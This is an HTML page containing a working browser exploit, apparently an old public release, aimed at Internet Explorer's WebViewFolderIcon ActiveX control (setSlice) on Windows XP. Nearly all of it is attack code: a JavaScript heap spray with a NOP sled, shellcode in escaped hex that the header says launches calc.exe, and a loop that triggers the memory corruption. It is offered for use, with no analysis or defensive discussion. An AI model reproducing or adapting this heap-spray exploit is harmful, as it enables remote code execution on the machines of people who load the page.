<!-- ..::[ jamikazu presents ]::.. Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day) Works on all Windows XP versions including SP2 Author: jamikazu Mail: jamikazu@gmail.com Bug discovered by Computer H D Moore (http://www.metasploit.com) Credit: metasploit, SkyLined invokes calc.exe if successful --> <HTML> <BODY> <SCRIPT language="javascript"> var heapSprayToAddress = 0x05050505; var payLoadCode = unescape( "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" + "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" + "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" + "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" + "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" + "%uFF57%u63E7%u6C61%u0063"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0505%u0505"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } for ( i = 0 ; i < 128 ; i++) { try{ var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1'); tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 ); }catch(e){} } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </SCRIPT> </BODY> </HTML>